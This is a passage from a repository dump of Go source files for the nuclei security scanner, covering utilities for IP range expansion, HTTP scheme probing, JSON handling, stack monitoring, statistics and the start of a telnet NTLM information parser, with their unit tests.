isHomeDir(templatePath) && strings.HasPrefix(filepath.Dir(helperFilePath), filepath.Dir(templatePath)) {\n\t\treturn helperFilePath, nil\n\t}\n\n\t// all other cases are denied\n\treturn \"\", errkit.Newf(\"access to helper file %v denied\", helperFilePath)\n}\n\n// SetExecutionID sets the execution ID for the options\nfunc (options *Options) SetExecutionID(id string) {\n\toptions.m.Lock()\n\tdefer options.m.Unlock()\n\toptions.ExecutionId = id\n}\n\n// GetExecutionID gets the execution ID for the options\nfunc (options *Options) GetExecutionID() string {\n\toptions.m.Lock()\n\tdefer options.m.Unlock()\n\treturn options.ExecutionId\n}\n\n// isHomeDir checks if given is home directory\nfunc isHomeDir(path string) bool {\n\thomeDir := folderutil.HomeDirOrDefault(\"\")\n\treturn strings.HasPrefix(path, homeDir)\n}\n"
  },
  {
    "path": "pkg/utils/capture_writer.go",
    "content": "package utils\n\nimport (\n\t\"bytes\"\n\n\t\"github.com/projectdiscovery/gologger/levels\"\n)\n\n// CaptureWriter captures log output for testing\ntype CaptureWriter struct {\n\tBuffer *bytes.Buffer\n}\n\nfunc (w *CaptureWriter) Write(data []byte, level levels.Level) {\n\tw.Buffer.Write(data)\n}\n"
  },
  {
    "path": "pkg/utils/expand/expand.go",
    "content": "package expand\n\nimport (\n\t\"github.com/projectdiscovery/mapcidr\"\n\t\"github.com/projectdiscovery/mapcidr/asn\"\n)\n\n// Expands CIDR to IPs\nfunc CIDR(value string) []string {\n\tvar ips []string\n\tipsCh, _ := mapcidr.IPAddressesAsStream(value)\n\tfor ip := range ipsCh {\n\t\tips = append(ips, ip)\n\t}\n\treturn ips\n}\n\n// Expand ASN to IPs\nfunc ASN(value string) []string {\n\tvar ips []string\n\tcidrs, _ := asn.GetCIDRsForASNNum(value)\n\tfor _, cidr := range cidrs {\n\t\tips = append(ips, CIDR(cidr.String())...)\n\t}\n\treturn ips\n}\n"
  },
  {
    "path": "pkg/utils/http_probe.go",
    "content": "package utils\n\nimport (\n\t\"fmt\"\n\t\"net\"\n\t\"net/http\"\n\t\"net/netip\"\n\t\"strconv\"\n\t\"strings\"\n\n\t\"github.com/projectdiscovery/httpx/common/httpx\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/input/types\"\n\t\"github.com/projectdiscovery/useragent\"\n\tsliceutil \"github.com/projectdiscovery/utils/slice\"\n)\n\nvar commonHttpPorts = []string{\n\t\"80\",\n\t\"8080\",\n}\nvar defaultHttpSchemes = []string{\n\t\"https\",\n\t\"http\",\n}\nvar httpFirstSchemes = []string{\n\t\"http\",\n\t\"https\",\n}\n\n// determineSchemeOrder for the input\nfunc determineSchemeOrder(input string) []string {\n\tif _, port, err := net.SplitHostPort(input); err == nil {\n\t\t// if input has port that is commonly used for HTTP, return http then https\n\t\tif sliceutil.Contains(commonHttpPorts, port) {\n\t\t\treturn httpFirstSchemes\n\t\t}\n\n\t\t// As of 10/2025 shodan shows that ports > 1024 are more likely to expose HTTP\n\t\t// hence we test first http then https on higher ports\n\t\t// if input has port > 1024, return http then https\n\t\tif port, err := strconv.Atoi(port); err == nil && port > 1024 {\n\t\t\treturn httpFirstSchemes\n\t\t}\n\t}\n\n\treturn defaultHttpSchemes\n}\n\n// ProbeURL probes the scheme for a URL.\n// http schemes are selected with heuristics\n// If none succeeds, probing is abandoned for such URLs.\nfunc ProbeURL(input string, httpxclient *httpx.HTTPX) string {\n\tnormalizedInput := normalizeProbeInput(input)\n\tschemes := determineSchemeOrder(normalizedInput)\n\tfor _, scheme := range schemes {\n\t\tformedURL := fmt.Sprintf(\"%s://%s\", scheme, normalizedInput)\n\t\treq, err := httpxclient.NewRequest(http.MethodHead, formedURL)\n\t\tif err != nil {\n\t\t\tcontinue\n\t\t}\n\t\tuserAgent := useragent.PickRandom()\n\t\treq.Header.Set(\"User-Agent\", userAgent.Raw)\n\n\t\tif _, err = httpxclient.Do(req, httpx.UnsafeOptions{}); err != nil {\n\t\t\tcontinue\n\t\t}\n\n\t\treturn formedURL\n\t}\n\treturn \"\"\n}\n\n// normalizeProbeInput rewrites unbracketed IPv6 literals to bracketed host form.\nfunc normalizeProbeInput(input string) string {\n\tif strings.Contains(input, \"://\") || strings.HasPrefix(input, \"[\") {\n\t\treturn input\n\t}\n\taddr, err := netip.ParseAddr(input)\n\tif err != nil || !addr.Is6() {\n\t\treturn input\n\t}\n\treturn fmt.Sprintf(\"[%s]\", addr.String())\n}\n\ntype inputLivenessChecker struct {\n\tclient *httpx.HTTPX\n}\n\n// ProbeURL probes the scheme for a URL.\nfunc (i *inputLivenessChecker) ProbeURL(input string) (string, error) {\n\treturn ProbeURL(input, i.client), nil\n}\n\nfunc (i *inputLivenessChecker) Close() error {\n\tif i.client.Dialer != nil {\n\t\ti.client.Dialer.Close()\n\t}\n\treturn nil\n}\n\n// GetInputLivenessChecker returns a new input liveness checker using provided httpx client\nfunc GetInputLivenessChecker(client *httpx.HTTPX) types.InputLivenessProbe {\n\tx := &inputLivenessChecker{client: client}\n\treturn x\n}\n"
  },
  {
    "path": "pkg/utils/http_probe_test.go",
    "content": "package utils\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestDetermineSchemeOrder(t *testing.T) {\n\ttype testCase struct {\n\t\tinput    string\n\t\texpected []string\n\t}\n\n\ttests := []testCase{\n\t\t// No port or uncommon ports should return https first\n\t\t{\"example.com\", []string{\"https\", \"http\"}},\n\t\t{\"example.com:443\", []string{\"https\", \"http\"}},\n\t\t{\"127.0.0.1\", []string{\"https\", \"http\"}},\n\t\t{\"[fe80::1]:443\", []string{\"https\", \"http\"}},\n\t\t// Common HTTP ports should return http first\n\t\t{\"example.com:80\", []string{\"http\", \"https\"}},\n\t\t{\"example.com:8080\", []string{\"http\", \"https\"}},\n\t\t{\"127.0.0.1:80\", []string{\"http\", \"https\"}},\n\t\t{\"127.0.0.1:8080\", []string{\"http\", \"https\"}},\n\t\t{\"fe80::1\", []string{\"https\", \"http\"}},\n\t\t{\"[fe80::1]:80\", []string{\"http\", \"https\"}},\n\t\t{\"[fe80::1]:8080\", []string{\"http\", \"https\"}},\n\t}\n\n\tfor _, tc := range tests {\n\t\tt.Run(tc.input, func(t *testing.T) {\n\t\t\tactual := determineSchemeOrder(tc.input)\n\t\t\trequire.Equal(t, tc.expected, actual)\n\t\t})\n\t}\n}\n\nfunc TestDetermineSchemeOrderWithHighPorts(t *testing.T) {\n\ttype testCase struct {\n\t\tinput    string\n\t\texpected []string\n\t}\n\n\ttests := []testCase{\n\t\t// Ports > 1024 should return http first\n\t\t{\"example.com:2048\", []string{\"http\", \"https\"}},\n\t\t{\"example.com:8081\", []string{\"http\", \"https\"}},\n\t\t{\"[fe80::1]:2048\", []string{\"http\", \"https\"}},\n\t\t{\"[fe80::1]:12345\", []string{\"http\", \"https\"}},\n\t}\n\n\tfor _, tc := range tests {\n\t\tt.Run(tc.input, func(t *testing.T) {\n\t\t\tactual := determineSchemeOrder(tc.input)\n\t\t\trequire.Equal(t, tc.expected, actual)\n\t\t})\n\t}\n}\n\nfunc TestDetermineSchemeOrderAmbiguousIPv6Literal(t *testing.T) {\n\ttests := []struct {\n\t\tinput    string\n\t\texpected []string\n\t}{\n\t\t{\"::1:8065\", []string{\"https\", \"http\"}},\n\t\t{\"[::1]:8065\", []string{\"http\", \"https\"}},\n\t}\n\n\tfor _, tc := range tests {\n\t\tt.Run(tc.input, func(t *testing.T) {\n\t\t\tactual := determineSchemeOrder(normalizeProbeInput(tc.input))\n\t\t\trequire.Equal(t, tc.expected, actual)\n\t\t})\n\t}\n}\n\nfunc TestNormalizeProbeInput(t *testing.T) {\n\ttests := []struct {\n\t\tinput    string\n\t\texpected string\n\t}{\n\t\t{\"::1:8065\", \"[::1:8065]\"},\n\t\t{\"fe80::1\", \"[fe80::1]\"},\n\t\t{\"[::1]:8065\", \"[::1]:8065\"},\n\t\t{\"127.0.0.1:8080\", \"127.0.0.1:8080\"},\n\t\t{\"example.com:443\", \"example.com:443\"},\n\t}\n\n\tfor _, tc := range tests {\n\t\tt.Run(tc.input, func(t *testing.T) {\n\t\t\tactual := normalizeProbeInput(tc.input)\n\t\t\trequire.Equal(t, tc.expected, actual)\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "pkg/utils/index.go",
    "content": "package utils\n\n// TransformIndex transforms user given index (start from 1) to array index (start from 0)\n// in safe way without panic i.e negative index or index out of range\nfunc TransformIndex[T any](arr []T, index int) int {\n\tif index <= 1 {\n\t\t// negative index\n\t\treturn 0\n\t}\n\tif index >= len(arr) {\n\t\t// index out of range\n\t\treturn len(arr) - 1\n\t}\n\t// valid index\n\treturn index - 1\n}\n"
  },
  {
    "path": "pkg/utils/insertion_ordered_map.go",
    "content": "package utils\n\nimport (\n\t\"fmt\"\n\t\"strconv\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils/json\"\n\t\"gopkg.in/yaml.v2\"\n)\n\ntype InsertionOrderedStringMap struct {\n\tkeys   []string `yaml:\"-\"`\n\tvalues map[string]interface{}\n}\n\nfunc NewEmptyInsertionOrderedStringMap(size int) *InsertionOrderedStringMap {\n\treturn &InsertionOrderedStringMap{\n\t\tkeys:   make([]string, 0, size),\n\t\tvalues: make(map[string]interface{}, size),\n\t}\n}\n\nfunc NewInsertionOrderedStringMap(stringMap map[string]interface{}) *InsertionOrderedStringMap {\n\tresult := NewEmptyInsertionOrderedStringMap(len(stringMap))\n\n\tfor k, v := range stringMap {\n\t\tresult.Set(k, v)\n\t}\n\treturn result\n}\n\nfunc (insertionOrderedStringMap *InsertionOrderedStringMap) Len() int {\n\treturn len(insertionOrderedStringMap.values)\n}\n\nfunc (insertionOrderedStringMap *InsertionOrderedStringMap) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar data yaml.MapSlice\n\tif err := unmarshal(&data); err != nil {\n\t\treturn err\n\t}\n\tinsertionOrderedStringMap.values = make(map[string]interface{})\n\tfor _, v := range data {\n\t\tif v.Key == nil {\n\t\t\tcontinue\n\t\t}\n\t\tinsertionOrderedStringMap.Set(v.Key.(string), toString(v.Value))\n\t}\n\treturn nil\n}\n\nfunc (insertionOrderedStringMap *InsertionOrderedStringMap) UnmarshalJSON(data []byte) error {\n\tvar dataMap map[string]interface{}\n\tif err := json.Unmarshal(data, &dataMap); err != nil {\n\t\treturn err\n\t}\n\tinsertionOrderedStringMap.values = make(map[string]interface{})\n\tfor k, v := range dataMap {\n\t\tinsertionOrderedStringMap.Set(k, toString(v))\n\t}\n\treturn nil\n}\n\n// toString converts an interface to string in a quick way\nfunc toString(data interface{}) interface{} {\n\tswitch s := data.(type) {\n\tcase nil:\n\t\treturn \"\"\n\tcase string:\n\t\treturn s\n\tcase bool:\n\t\treturn strconv.FormatBool(s)\n\tcase float64:\n\t\treturn strconv.FormatFloat(s, 'f', -1, 64)\n\tcase float32:\n\t\treturn strconv.FormatFloat(float64(s), 'f', -1, 32)\n\tcase int:\n\t\treturn strconv.Itoa(s)\n\tcase int64:\n\t\treturn strconv.FormatInt(s, 10)\n\tcase int32:\n\t\treturn strconv.Itoa(int(s))\n\tcase int16:\n\t\treturn strconv.FormatInt(int64(s), 10)\n\tcase int8:\n\t\treturn strconv.FormatInt(int64(s), 10)\n\tcase uint:\n\t\treturn strconv.FormatUint(uint64(s), 10)\n\tcase uint64:\n\t\treturn strconv.FormatUint(s, 10)\n\tcase uint32:\n\t\treturn strconv.FormatUint(uint64(s), 10)\n\tcase uint16:\n\t\treturn strconv.FormatUint(uint64(s), 10)\n\tcase uint8:\n\t\treturn strconv.FormatUint(uint64(s), 10)\n\tcase []byte:\n\t\treturn string(s)\n\tcase []interface{}:\n\t\treturn data\n\tdefault:\n\t\treturn fmt.Sprintf(\"%v\", data)\n\t}\n}\n\nfunc (insertionOrderedStringMap *InsertionOrderedStringMap) ForEach(fn func(key string, data interface{})) {\n\tfor _, key := range insertionOrderedStringMap.keys {\n\t\tfn(key, insertionOrderedStringMap.values[key])\n\t}\n}\n\nfunc (insertionOrderedStringMap *InsertionOrderedStringMap) Set(key string, value interface{}) {\n\t_, present := insertionOrderedStringMap.values[key]\n\tinsertionOrderedStringMap.values[key] = value\n\tif !present {\n\t\tinsertionOrderedStringMap.keys = append(insertionOrderedStringMap.keys, key)\n\t}\n}\n"
  },
  {
    "path": "pkg/utils/insertion_ordered_map_test.go",
    "content": "package utils\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n\t\"gopkg.in/yaml.v2\"\n)\n\nfunc TestUnmarshalInsertionOrderedMapYAML(t *testing.T) {\n\tvar data = `a1: test\na2: value\na3: new`\n\n\tvar value InsertionOrderedStringMap\n\terr := yaml.Unmarshal([]byte(data), &value)\n\trequire.NoError(t, err, \"could not unmarshal map\")\n\n\tvar items []string\n\tvalue.ForEach(func(key string, value interface{}) {\n\t\titems = append(items, key)\n\t})\n\trequire.Equal(t, []string{\"a1\", \"a2\", \"a3\"}, items, \"could not get ordered keys\")\n}\n"
  },
  {
    "path": "pkg/utils/json/doc.go",
    "content": "// Package json provides fast JSON encoding and decoding functionality.\n//\n// On supported platforms; Linux, Darwin, or Windows on amd64, or on arm64 with\n// Go >= 1.20 and <= 1.26, the package uses the high-performance [sonic] library.\n// On any other systems, it gracefully falls back to using the [go-json]\n// implementation.\n//\n// This package acts as a wrapper around the underlying JSON APIs, offering\n// standard operations such as marshaling, unmarshalling, and working with JSON\n// encoders/decoders. It maintains compatibility with the standard encoding/json\n// interfaces while delivering improved performance when possible.\n//\n// Additionally, it defines the customary [Marshaler] and [Unmarshaler]\n// interfaces to facilitate custom JSON encoding and decoding implementations.\n//\n// TODO(dwisiswant0): This package should be moved to the\n// [github.com/projectdiscovery/utils/json], but let see how it goes first.\npackage json\n"
  },
  {
    "path": "pkg/utils/json/json.go",
    "content": "//go:build (linux || darwin || windows) && (amd64 || arm64)\n\npackage json\n\nimport \"github.com/bytedance/sonic\"\n\nvar api = sonic.ConfigStd\n\n// Exported functions from the [sonic.API].\nvar (\n\tMarshal       = api.Marshal\n\tUnmarshal     = api.Unmarshal\n\tMarshalIndent = api.MarshalIndent\n\tNewDecoder    = api.NewDecoder\n\tNewEncoder    = api.NewEncoder\n)\n\n// Encoder is a JSON encoder.\ntype Encoder = sonic.Encoder\n\n// Decoder is a JSON decoder.\ntype Decoder = sonic.Decoder\n\n// SetConfig sets the configuration for the JSON package.\nfunc SetConfig(config *sonic.Config) {\n\tapi = config.Froze()\n}\n"
  },
  {
    "path": "pkg/utils/json/json_fallback.go",
    "content": "//go:build !(linux || darwin || windows) || !(amd64 || arm64)\n\npackage json\n\nimport \"github.com/goccy/go-json\"\n\n// Exported functions from the [json] package.\nvar (\n\tMarshal       = json.Marshal\n\tUnmarshal     = json.Unmarshal\n\tMarshalIndent = json.MarshalIndent\n\tNewDecoder    = json.NewDecoder\n\tNewEncoder    = json.NewEncoder\n)\n\n// Encoder is a JSON encoder.\ntype Encoder = json.Encoder\n\n// Decoder is a JSON decoder.\ntype Decoder = json.Decoder\n"
  },
  {
    "path": "pkg/utils/json/jsoncodec.go",
    "content": "package json\n\n// Marshaler is the interface implemented by types that\n// can marshal themselves into valid JSON.\ntype Marshaler interface {\n\tMarshalJSON() ([]byte, error)\n}\n\n// Unmarshaler is the interface implemented by types\n// that can unmarshal a JSON description of themselves.\n// The input can be assumed to be a valid encoding of\n// a JSON value. UnmarshalJSON must copy the JSON data\n// if it wishes to retain the data after returning.\n//\n// By convention, to approximate the behavior of [Unmarshal] itself,\n// Unmarshalers implement UnmarshalJSON([]byte(\"null\")) as a no-op.\ntype Unmarshaler interface {\n\tUnmarshalJSON([]byte) error\n}\n\n// JSONCodec is the interface implemented by types that can marshal and\n// unmarshal themselves into valid JSON.\ntype JSONCodec interface {\n\tMarshaler\n\tUnmarshaler\n}\n"
  },
  {
    "path": "pkg/utils/json/message.go",
    "content": "package json\n\nimport \"errors\"\n\n// Message is a raw encoded JSON value.\n// It implements [Marshaler] and [Unmarshaler] and can\n// be used to delay JSON decoding or precompute a JSON encoding.\n//\n// Copied from: https://cs.opensource.google/go/go/+/refs/tags/go1.23.6:src/encoding/json/stream.go;l=256-276\ntype Message []byte\n\n// MarshalJSON returns m as the JSON encoding of m.\n//\n// Copied from: https://cs.opensource.google/go/go/+/refs/tags/go1.23.6:src/encoding/json/stream.go;l=256-276\nfunc (m Message) MarshalJSON() ([]byte, error) {\n\tif m == nil {\n\t\treturn []byte(\"null\"), nil\n\t}\n\treturn m, nil\n}\n\n// UnmarshalJSON sets *m to a copy of data.\n//\n// Copied from: https://cs.opensource.google/go/go/+/refs/tags/go1.23.6:src/encoding/json/stream.go;l=256-276\nfunc (m *Message) UnmarshalJSON(data []byte) error {\n\tif m == nil {\n\t\treturn errors.New(\"json.Message: UnmarshalJSON on nil pointer\")\n\t}\n\t*m = append((*m)[0:0], data...)\n\treturn nil\n}\n"
  },
  {
    "path": "pkg/utils/monitor/monitor.go",
    "content": "// Package monitor implements a goroutine based monitoring for\n// detecting stuck scanner processes and dumping stack and other\n// relevant information for investigation.\npackage monitor\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"fmt\"\n\t\"os\"\n\t\"runtime\"\n\t\"strings\"\n\t\"sync\"\n\t\"time\"\n\n\t\"github.com/DataDog/gostackparse\"\n\t\"github.com/projectdiscovery/gologger\"\n\tpermissionutil \"github.com/projectdiscovery/utils/permission\"\n\tunitutils \"github.com/projectdiscovery/utils/unit\"\n\t\"github.com/rs/xid\"\n)\n\n// Agent is an agent for monitoring hanging programs\ntype Agent struct {\n\tlastStack []string\n\tcallbacks []Callback\n\n\tgoroutineCount   int\n\tcurrentIteration int // number of times we've checked hang\n\n\tlock sync.Mutex\n}\n\nconst defaultMonitorIteration = 6\n\n// NewStackMonitor returns a new stack monitor instance\nfunc NewStackMonitor() *Agent {\n\treturn &Agent{}\n}\n\n// Callback when crash is detected and stack trace is saved to disk\ntype Callback func(dumpID string) error\n\n// RegisterCallback adds a callback to perform additional operations before bailing out.\nfunc (s *Agent) RegisterCallback(callback Callback) {\n\ts.lock.Lock()\n\tdefer s.lock.Unlock()\n\n\ts.callbacks = append(s.callbacks, callback)\n}\n\nfunc (s *Agent) Start(interval time.Duration) context.CancelFunc {\n\tctx, cancel := context.WithCancel(context.Background())\n\tticker := time.NewTicker(interval)\n\n\tgo func() {\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase <-ctx.Done():\n\t\t\t\tticker.Stop()\n\t\t\tcase <-ticker.C:\n\t\t\t\ts.monitorWorker(cancel)\n\t\t\tdefault:\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\t}()\n\treturn cancel\n}\n\n// monitorWorker is a worker for monitoring running goroutines\nfunc (s *Agent) monitorWorker(cancel context.CancelFunc) {\n\tcurrent := runtime.NumGoroutine()\n\tif current != s.goroutineCount {\n\t\ts.goroutineCount = current\n\t\ts.currentIteration = 0\n\t\treturn\n\t}\n\ts.currentIteration++\n\n\tif s.currentIteration == defaultMonitorIteration-1 {\n\t\tlastStackTrace := generateStackTraceSlice(getStack(true))\n\t\ts.lastStack = lastStackTrace\n\t\treturn\n\t}\n\n\t// cancel the monitoring goroutine if we discover\n\t// we've been stuck for some iterations.\n\tif s.currentIteration == defaultMonitorIteration {\n\t\tcurrentStack := getStack(true)\n\n\t\t// Bail out if the stacks don't match from previous iteration\n\t\tnewStack := generateStackTraceSlice(currentStack)\n\t\tif !compareStringSliceEqual(s.lastStack, newStack) {\n\t\t\ts.currentIteration = 0\n\t\t\treturn\n\t\t}\n\n\t\tcancel()\n\t\tdumpID := xid.New().String()\n\t\tstackTraceFile := fmt.Sprintf(\"nuclei-stacktrace-%s.dump\", dumpID)\n\t\tgologger.Error().Msgf(\"Detected hanging goroutine (count=%d/%d) = %s\\n\", current, s.goroutineCount, stackTraceFile)\n\t\tif err := os.WriteFile(stackTraceFile, currentStack, permissionutil.ConfigFilePermission); err != nil {\n\t\t\tgologger.Error().Msgf(\"Could not write stack trace for goroutines: %s\\n\", err)\n\t\t}\n\n\t\ts.lock.Lock()\n\t\tcallbacks := s.callbacks\n\t\ts.lock.Unlock()\n\t\tfor _, callback := range callbacks {\n\t\t\tif err := callback(dumpID); err != nil {\n\t\t\t\tgologger.Error().Msgf(\"Stack monitor callback error: %s\\n\", err)\n\t\t\t}\n\t\t}\n\n\t\tos.Exit(1) // exit forcefully if we've been stuck\n\t}\n}\n\n// getStack returns full stack trace of the program\nvar getStack = func(all bool) []byte {\n\tfor i := unitutils.Mega; ; i *= 2 {\n\t\tbuf := make([]byte, i)\n\t\tif n := runtime.Stack(buf, all); n < i {\n\t\t\treturn buf[:n-1]\n\t\t}\n\t}\n}\n\n// generateStackTraceSlice returns a list of current stack in string slice format\nfunc generateStackTraceSlice(stack []byte) []string {\n\tgoroutines, _ := gostackparse.Parse(bytes.NewReader(stack))\n\n\tvar builder strings.Builder\n\tvar stackList []string\n\tfor _, goroutine := range goroutines {\n\t\tbuilder.WriteString(goroutine.State)\n\t\tbuilder.WriteString(\"|\")\n\n\t\tfor _, frame := range goroutine.Stack {\n\t\t\tbuilder.WriteString(frame.Func)\n\t\t\tbuilder.WriteString(\";\")\n\t\t}\n\t\tstackList = append(stackList, builder.String())\n\t\tbuilder.Reset()\n\t}\n\treturn stackList\n}\n\n// compareStringSliceEqual compares two string slices for equality without order\nfunc compareStringSliceEqual(first, second []string) bool {\n\tif len(first) != len(second) {\n\t\treturn false\n\t}\n\tdiff := make(map[string]int, len(first))\n\tfor _, x := range first {\n\t\tdiff[x]++\n\t}\n\tfor _, y := range second {\n\t\tif _, ok := diff[y]; !ok {\n\t\t\treturn false\n\t\t}\n\t\tdiff[y] -= 1\n\t\tif diff[y] == 0 {\n\t\t\tdelete(diff, y)\n\t\t}\n\t}\n\treturn len(diff) == 0\n}\n"
  },
  {
    "path": "pkg/utils/monitor/monitor_test.go",
    "content": "package monitor\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestMonitorCompareStringSliceEqual(t *testing.T) {\n\tvalue := compareStringSliceEqual([]string{\"a\", \"b\"}, []string{\"b\", \"a\"})\n\trequire.True(t, value, \"could not get correct value\")\n\n\tvalue = compareStringSliceEqual([]string{\"a\", \"c\"}, []string{\"b\", \"a\"})\n\trequire.False(t, value, \"could get incorrect value\")\n}\n"
  },
  {
    "path": "pkg/utils/stats/doc.go",
    "content": "// Package stats provides a storage mechanism for storing\n// and display vital statistics of the engine at various durations.\npackage stats\n"
  },
  {
    "path": "pkg/utils/stats/stats.go",
    "content": "package stats\n\nimport (\n\t\"fmt\"\n\t\"sync/atomic\"\n\n\t\"github.com/logrusorgru/aurora\"\n\t\"github.com/projectdiscovery/gologger\"\n\tmapsutil \"github.com/projectdiscovery/utils/maps\"\n)\n\n// Storage is a storage for storing statistics information\n// about the nuclei engine displaying it at user-defined intervals.\ntype Storage struct {\n\tdata *mapsutil.SyncLockMap[string, *storageDataItem]\n}\n\ntype storageDataItem struct {\n\tdescription string\n\tvalue       atomic.Int64\n}\n\nvar Default *Storage\n\nfunc init() {\n\tDefault = New()\n}\n\n// NewEntry creates a new entry in the storage object\nfunc NewEntry(name, description string) {\n\tDefault.NewEntry(name, description)\n}\n\n// Increment increments the value for a name string\nfunc Increment(name string) {\n\tDefault.Increment(name)\n}\n\n// Display displays the stats for a name\nfunc Display(name string) {\n\tDefault.Display(name)\n}\n\nfunc DisplayAsWarning(name string) {\n\tDefault.DisplayAsWarning(name)\n}\n\n// ForceDisplayWarning forces the display of a warning\n// regardless of current verbosity level\nfunc ForceDisplayWarning(name string) {\n\tDefault.ForceDisplayWarning(name)\n}\n\n// GetValue returns the value for a set variable\nfunc GetValue(name string) int64 {\n\treturn Default.GetValue(name)\n}\n\n// New creates a new storage object\nfunc New() *Storage {\n\tdata := mapsutil.NewSyncLockMap[string, *storageDataItem]()\n\treturn &Storage{data: data}\n}\n\n// NewEntry creates a new entry in the storage object\nfunc (s *Storage) NewEntry(name, description string) {\n\t_ = s.data.Set(name, &storageDataItem{description: description, value: atomic.Int64{}})\n}\n\n// Increment increments the value for a name string\nfunc (s *Storage) Increment(name string) {\n\tdata, ok := s.data.Get(name)\n\tif !ok {\n\t\treturn\n\t}\n\tdata.value.Add(1)\n}\n\n// Display displays the stats for a name\nfunc (s *Storage) Display(name string) {\n\tdata, ok := s.data.Get(name)\n\tif !ok {\n\t\treturn\n\t}\n\n\tdataValue := data.value.Load()\n\tif dataValue == 0 {\n\t\treturn // don't show for nil stats\n\t}\n\tgologger.Error().Label(\"WRN\").Msgf(data.description, dataValue)\n}\n\nfunc (s *Storage) DisplayAsWarning(name string) {\n\tdata, ok := s.data.Get(name)\n\tif !ok {\n\t\treturn\n\t}\n\n\tdataValue := data.value.Load()\n\tif dataValue == 0 {\n\t\treturn // don't show for nil stats\n\t}\n\tgologger.Warning().Label(\"WRN\").Msgf(data.description, dataValue)\n}\n\n// ForceDisplayWarning forces the display of a warning\n// regardless of current verbosity level\nfunc (s *Storage) ForceDisplayWarning(name string) {\n\tdata, ok := s.data.Get(name)\n\tif !ok {\n\t\treturn\n\t}\n\n\tdataValue := data.value.Load()\n\tif dataValue == 0 {\n\t\treturn // don't show for nil stats\n\t}\n\tgologger.Print().Msgf(\"[%v] %v\", aurora.BrightYellow(\"WRN\"), fmt.Sprintf(data.description, dataValue))\n}\n\n// GetValue returns the value for a set variable\nfunc (s *Storage) GetValue(name string) int64 {\n\tdata, ok := s.data.Get(name)\n\tif !ok {\n\t\treturn 0\n\t}\n\n\treturn data.value.Load()\n}\n"
  },
  {
    "path": "pkg/utils/telnetmini/doc.go",
    "content": "// Package telnetmini is a library for interacting with Telnet servers.\n// it supports\n//   - Basic Authentication phase (username/password)\n//   - Encryption detection via encryption negotiation packet\n//   - Minimal porting of https://github.com/nmap/nmap/blob/master/nselib/smbauth.lua SMB via NTLM negotiations\n//     (TNAP Login Packet + Raw NTLM response parsing)\npackage telnetmini\n"
  },
  {
    "path": "pkg/utils/telnetmini/ntlm.go",
    "content": "package telnetmini\n\nimport (\n\t\"bytes\"\n\t\"encoding/binary\"\n\t\"fmt\"\n)\n\n// NTLMInfoResponse represents the response from NTLM information gathering\n// This matches exactly the output structure from the Nmap telnet-ntlm-info.nse script\ntype NTLMInfoResponse struct {\n\tTargetName          string // Target_Name from script\n\tNetBIOSDomainName   string // NetBIOS_Domain_Name from script\n\tNetBIOSComputerName string // NetBIOS_Computer_Name from script\n\tDNSDomainName       string // DNS_Domain_Name from script\n\tDNSComputerName     string // DNS_Computer_Name from script\n\tDNSTreeName         string // DNS_Tree_Name from script\n\tProductVersion      string // Product_Version from script\n\tTimestamp           uint64 // Raw timestamp for skew calculation\n}\n\n// ParseNTLMResponse parses the NTLM response to extract system information\n// This implements the exact parsing logic from the Nmap telnet-ntlm-info.nse script\nfunc ParseNTLMResponse(data []byte) (*NTLMInfoResponse, error) {\n\t// Continue only if NTLMSSP response is returned.\n\t// Verify that the response is terminated with Sub-option End values as various\n\t// non Microsoft telnet implementations support NTLM but do not return valid data.\n\t// This matches the script's: local data = string.match(response, \"(NTLMSSP.*)\\xff\\xf0\")\n\tntlmStart := bytes.Index(data, []byte(\"NTLMSSP\"))\n\tif ntlmStart == -1 {\n\t\treturn nil, fmt.Errorf(\"NTLMSSP signature not found in response\")\n\t}\n\n\t// Find the end of NTLM data (Sub-option End: 0xFF 0xF0)\n\tntlmEnd := bytes.Index(data[ntlmStart:], []byte{0xFF, 0xF0})\n\tif ntlmEnd == -1 {\n\t\treturn nil, fmt.Errorf(\"NTLM response not properly terminated with Sub-option End\")\n\t}\n\n\t// Extract NTLM data (NTLMSSP.*\\xff\\xf0)\n\tntlmData := data[ntlmStart : ntlmStart+ntlmEnd]\n\n\t// Check message type (should be 2 for Challenge)\n\tif len(ntlmData) < 12 {\n\t\treturn nil, fmt.Errorf(\"NTLM response too short\")\n\t}\n\n\tmessageType := binary.LittleEndian.Uint32(ntlmData[8:12])\n\tif messageType != 2 {\n\t\treturn nil, fmt.Errorf(\"expected NTLM challenge message, got type %d\", messageType)\n\t}\n\n\t// Parse target name fields\n\ttargetNameLen := binary.LittleEndian.Uint16(ntlmData[12:14])\n\ttargetNameOffset := binary.LittleEndian.Uint32(ntlmData[16:20])\n\n\t// Parse target info fields\n\ttargetInfoLen := binary.LittleEndian.Uint16(ntlmData[40:42])\n\ttargetInfoOffset := binary.LittleEndian.Uint32(ntlmData[44:48])\n\n\t// Extract target name (Target Name will always be returned under any implementation)\n\tvar targetName string\n\tif targetNameLen > 0 && int(targetNameOffset) < len(ntlmData) {\n\t\tend := int(targetNameOffset) + int(targetNameLen)\n\t\tif end <= len(ntlmData) {\n\t\t\ttargetName = string(ntlmData[targetNameOffset:end])\n\t\t}\n\t}\n\n\t// Extract target info (contains detailed system information)\n\tvar ntlmInfo NTLMInfoResponse\n\tntlmInfo.TargetName = targetName\n\n\t// Parse target info structure if available\n\tif targetInfoLen > 0 && int(targetInfoOffset) < len(ntlmData) {\n\t\tend := int(targetInfoOffset) + int(targetInfoLen)\n\t\tif end <= len(ntlmData) {\n\t\t\tparseTargetInfo(ntlmData[targetInfoOffset:end], &ntlmInfo)\n\t\t}\n\t}\n\n\treturn &ntlmInfo, nil\n}\n\n// CalculateTimestampSkew calculates the time skew from NTLM timestamp\n// This implements the timestamp calculation from the Nmap script:\n// local unixstamp = ntlm_decoded.timestamp // 10000000 - 11644473600\nfunc CalculateTimestampSkew(ntlmTimestamp uint64) int64 {\n\tif ntlmTimestamp == 0 {\n\t\treturn 0\n\t}\n\n\t// Convert 100ns clicks since 1/1/1601 to Unix timestamp\n\t// Formula: 